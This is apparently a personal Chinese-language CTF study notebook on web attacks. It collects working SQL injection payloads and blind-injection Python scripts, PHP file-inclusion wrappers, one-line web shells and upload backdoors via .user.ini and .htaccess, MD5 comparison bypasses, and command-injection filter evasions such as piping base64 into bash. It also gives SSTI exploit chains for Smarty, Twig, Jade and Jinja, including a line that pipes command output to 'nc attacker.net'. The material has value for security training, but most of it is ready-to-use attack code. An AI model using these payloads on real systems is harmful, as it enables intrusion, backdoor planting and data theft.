日常笔记
MaxHaker Bar 有bug
文件包含
首先考虑 "php://input"伪协议 + POST发送PHP代码 的经典套路
也可以用data伪协议传参
句意为:text是一个text文件, 使用了base64编码 内容为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
用伪协议读flag.php,一般语句为
句意为:用base64加密读出xxx的内容
file=php://filter/read=convert.base64-encode/resource=xxx
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
接下来就是按
sql注入的流程操作:
限制:mysql ≥ 5.7版本,一般要超级管理员才可以访问sys
1.测试有多少字段
admin ' order by 1 # 输入框的时候用#,在地址栏的时候使用%23 在进行到4的时候报错 /check.php?username=admin' order by 4%23&password=1
2.爆出数据库名
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)from(information_schema.schemata) %23
3.爆出数据库里的表
?username=admin&password=pwd %27 ununionion seselectlect 1,2, group_concat(table_name)from(information_schema.tables) where table_schema="geek" %23
4.爆出表的列名
?username=admin&password=pwd %27 ununionion seselectlect 1,2, group_concat(column_name) from (information_schema.columns) where table_name="Flag"%23
5.爆出所有数据
?username=admin&password=pwd %27 ununionion select 1,2,group_concat(flag)from(ctf.Flag)%23
%27 = ‘ %23 = #
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
尝试双写绕过
题目环境过滤了空格,我们使用/**/来进行绕过
过滤了or,因此我们无法使用order by 以及information_schema这个库
过滤了注释符,所以查询语句的最后我们要闭合单引号
无列名注入
使用条件&方法
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/'
1'/**/group/**/by/**/22,'1
不报错则证明存在这一列
不使用表名查询
正常的 sql 查询如下:
select * from `admin`;
其中,列名为 id、name、password,使用 union 查询:
select 1,2,3 union select * from admin;
如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:
select `3` from (select 1,2,3 union select * from admin)a;
末尾的 a 可以是任意字符,用于命名。
当然,多数情况下, ` 会被过滤 当"' ' "不能使用的时候,使用别名来代替:
select b from (select 1,2,3 as b union select * from admin)a;
同时查询多个列:
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。
payload:
select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xx
我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果
先查表
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
盲注
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
遇到限制访问速度可以使用sleep函数
全过程使用二分法加速扫描进程
如果愿意可以用burp进行半自动化注入
参考代码
import requests import time import re url='http://66f155c8-689d-4e8f-b475-272545a72c3a.node3.buuoj.cn/' flag = '' for i in range(1,43): max = 127 min = 0 for c in range(0,127): s = (int)((max+min)/2) payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' r = requests.post(url,data = {'id':payload}) time.sleep(0.005) if 'Hello, glzjin wants a girlfriend.' in str(r.content): max=s else: min=s if((max-min)<=1): flag+=chr(max) break print(flag)
import requests url = 'http://66f155c8-689d-4e8f-b475-272545a72c3a.node3.buuoj.cn' result = '' for x in range(1, 50): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid) data = { "id":payload } response = requests.post(url, data = data) if 'Hello' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
可见的字符为32-127
联合注入有一个特性,查询不存在的东西时,数据库会暂时创建一个临时的填补空缺
通过测试发现过滤了union,and,等于号,空格
可以使用updatexml或extractvalue报错注入法
查表:
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin
查列:
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
查内容:
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin
此时只得到了flag的左半部分,可以使用right()得到右半部分
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))
出现group_concat内容显示不完全可以用right来纠正
使用extractvalue报错注入法:
查表:
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e))))%23&password=admin
查列:
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))))%23&password=admin
查内容:
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))))%23&password=admin
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e))))%23&password=admin
一句话木马
文件上传一般检查 后缀名、content-type、文件头的部分内容
php文件后缀可以是 php和phtml
GIF89a为图片的文件头
GIF89a <script language="php">eval($_POST['shell']);</script>
利用.user.ini上传\隐藏后门
那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。
我们这边利用.user.ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马
GIF89a auto_prepend_file=a.jpg
.htaccess文件简介:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
打开apache的http.conf文件
找到的AllowOverride None,将其改为AllowOverride All
打开.htaccess文件写入
SetHandler application/x-httpd-php
这语句的作用是让Apache将其他类型文件均以php格式解析
sql绕过md5加密
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
md5函数不能对数组操作 直接返回NULL
所以也可以使用上传参数为数组绕过MD5
http://192.168.85.250:8889/newpromoapi/hosts/get_product_promotions.php?&product_ids[]={333.2}
构造0e……绕过典型的md5碰撞嘛,这个是弱比较,所以可以用md5值为0e开头的来撞。这里提供一些md5以后是0e开头的值:
md5后与自己相等 0e215962017
值不同但md5相同的强比较字符串(不能使用hackbug 用bp 否则会被url编码掉)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
遇到sql注入过程中过滤了单词组可使用该方法绕过
把payload拆开看看过滤了什么,发现单个单词都没过滤,过滤了union select
网上找到绕过方法union/**/select,也可以放弃联合注入用报错注入。一样可行
修改payload再次尝试
反序列化
https://blog.csdn.net/solitudi/article/details/113588692?spm=1001.2014.3001.5501
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "oavinci"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
根据对象的要求进行修改
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
逃逸
使用增加或减少的方式使字符串逃逸,参照hgg博客
一个知识点:
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
payload如下:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
HANDLER tbl_name OPEN [ [AS] alias] HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name CLOSE 通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 通过HANDLER tbl_name CLOSE来关闭打开的句柄。 通过索引去查看的话可以按照一定的顺序,获取表中的数据。 通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。 通过索引列指定一个值,可以指定从哪一行开始。 通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。 *index_name = handler_index
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…
这时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
php短标签
短标记是用来输出变量或表达式,一般用法是
<?=a?>
可以使用蚁剑链接,也可以使用system函数链接
hack=system('cat /flag');
蚁剑使用Tips
第一地址填写到文件本身 考虑当前页面在网站内的内部结构
第二密码填写为木马内字符
SSTI注入 服务端模板注入
检测到模板注入后,我们需要判断具体的模板引擎。我们需要 fuzz 不同的字符,再通过返回的错误判断。当模板引擎屏蔽错误后,该类当法就失效了,并且暴力 fuzz 也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。
Smarty
Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:
这个函数能任意读取有读写权限的文件:
{self::getStreamVariable("file:///proc/self/loginuid")} 1000 {self::getStreamVariable($SCRIPT_NAME)} <?php define("SMARTY_DIR",'/usr/share/php/Smarty/'); require_once(SMARTY_DIR.'Smarty.class.php'); ...
不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile(_contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。
幸运的是,self::clearConfig帮助我们获取对象:
public function clearConfig($varname = null) { return Smarty_Internal_Extension_Config::clearConfig($this, $varname); }
最后,我们就可以创建后门了!
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{if phpinfo()}{/if} {if system('ls')}{/if} { readfile('/flag') } {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if}
Twig
Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:
public function getFilter($name) { ... foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; }
我们只需注册 exec 为 filter 的回调函数,并如此调用:
payload id内容可以换为 ls cat /flag 等命令
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} //返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
Twig(沙箱模式)
Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:
public function checkMethodAllowed($obj, $method) { if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) { return true; }
这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 _self.,_self.中的 displayBlock 让我们更上一层楼:
public function displayBlock($name, array $context, array $blocks = array(), $useBlocks = true) { $name = (string) $name; if ($useBlocks && isset($blocks[$name])) { $template = $blocks[$name][0]; $block = $blocks[$name][1]; } elseif (isset($this->blocks[$name])) { $template = $this->blocks[$name][0]; $block = $this->blocks[$name][1]; } else { $template = null; $block = null; } if (null !== $template) { try { $template->$block($context, $blocks); } catch (Twig_Error $e) { ...
我们可以用block(blocks)绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}。虽然现在不能获得化境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。
Jade
Jade 是一款 Node.js 模板引擎。http://CodePen.io 则可以接受用户递交该模板。这里,我会展示如何对模板注入进行黑盒测试。
首先,让我们来确认模板可以执行代码:
= 7*7 //结果:49
再来确认 self 对象的位置:
= root //结果:[object global]
我们来列一下对象属性和函数:
- var x = root - for(var prop in x) , #{prop} , ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root
这些可能是可利用的函数:
- var x = root.process - for(var prop in x) , #{prop} , title, version, moduleLoadList... mainModule, setMaxListeners, emit, once
绕过保护机制:
- var x = root.process.mainModule - for(var prop in x) , #{prop} 因为安全原因,CodePen阻止了你的语句 请删除下列关键字后进行尝试 ->process ->mainModule - var x = root.process - x = x.mainModule - for(var prop in x) , #{prop} , id, exports, parent, filename, loaded, children, paths, load, require, _compile
确定有用的函数:
- var x = root.process - x = x.mainModule.require - x('a') Cannot find module 'a'
最终 exp:
- var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80')
self与config都被过滤
不过python还有一些内置函数,比如url_for
和get_flashed_messages
{url_for.__globals__['current_app'].config} 可加上['FLAG']
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
Jinja
遇见Flask则思考Jinja2注入
常见的魔术方法
__class__
用于返回对象所属的类
Python 3.7.8 >>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> [].__class__ <class 'list'> __base__
以字符串的形式返回一个类所继承的类
__bases__
以元组的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
Python 3.7.8 >>> class Father(): ... def __init__(self): ... pass ... >>> class GrandFather(): ... def __init__(self): ... pass ... >>> class son(Father,GrandFather): ... pass ... >>> print(son.__base__) <class '__main__.Father'> >>> print(son.__bases__) (<class '__main__.Father'>, <class '__main__.GrandFather'>) >>> print(son.__mro__) (<class '__main__.son'>, <class '__main__.Father'>, <class '__main__.GrandFather'>, <class 'object'>) __subclasses__()
获取类的所有子类
__init__
所有自带带类都包含init方法,常用他当跳板来调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
扫描工具dirsearch使用
cmd中进行调用,语句如下 调低线程
python dirsearch.py -u 网址 -e 语言(我一般用*) --timeout=2 -t 1 -x 400,403,404,500,503,429 python dirsearch.py -u http://817ffd2b-dc67-4d6d-9077-bfea00e597ff.node3.buuoj.cn -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
git泄露利用脚本githack
用上面脚本发现源码泄露后用该脚本读取泄露的文件
python271 GitHack.py http://www.openssl.org/.git/
各种绕过
管道符
windows 下
|
直接执行后面的语句||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&
前面和后面命令都要执行,无论前面真假&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;
前面和后面命令都要执行,无论前面真假|
直接执行后面的语句||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&
前面和后面命令都要执行,无论前面真假&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
空格绕过
` `<` `<>` 重定向符 `%09`(需要php环境) `${IFS} ` `$IFS$9` `{cat,flag.php}` //用逗号实现了空格功能 `%20 ` `%09
命令执行函数
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
黑名单绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''` `/???/?at ????` `/???/?[a]''[t] ?''?''?''?''
2等和$@
$# 是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $@ 是传给脚本的所有参数的列表 $* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个 $$ 是脚本运行的当前进程ID号 $? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings
做到的一道题目,在这里记录一下
内敛执行
cat9
ls
cat9$(ls)
(内联,就是将``或$()内命令的输出作为输入执行)
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt root@kali:~/桌面# touch "ag" root@kali:~/桌面# touch "fl\\" root@kali:~/桌面# touch "t \\" root@kali:~/桌面# touch "ca\\" root@kali:~/桌面# ls -t 'ca\' 't \' 'fl\' ag flag root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中 root@kali:~/桌面# sh a a: 1: a: not found flag{hahaha} a: 6: flag.txt: not found
\
是指换行ls -t
将文件按时间排序输出sh
命令可以从一个文件中读取命令来执行
dir也可以输出目录
先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
Apache SSI远程命令执行漏洞复现
SSI简介
SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。
例如,您可以将指令放置到现有的HTML页面中,例如:
<!--#echo var="DATE_LOCAL" -->
并且,当该页面被投放时,该片段将被评估并替换为其值:
Tuesday, 15-Jan-2013 19:28:54 EST
XXE攻击
XXE(XML External Entity Injection)全称为XML外部实体注入
XML可能存在的漏洞:
XML注入和XPath注入XML 外部实体注入
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
按实体有无参分类,实体分为一般实体和参数实体
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
ps:经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
<?xml version = "1.0" encoding = "utf-8"?> <!DOCTYPE test [ <!ENTITY writer "Dawn"> <!ENTITY copyright "Copyright W3School.com.cn"> ]> <test>&writer;©right;</test>
php函数
读取文件 readfile()
php_mt_seed
使用下列程序预处理
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='p2zQeLr5Qc' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print(res)
然后在kali里面
./php_mt_seed 15 15 0 61 28 28 0 61 25 25 0 61 52 52 0 61 4 4 0 61 47 47 0 61 17 17 0 61 31 31 0 61 52 52 0 61 2 2 0 61
处理出种子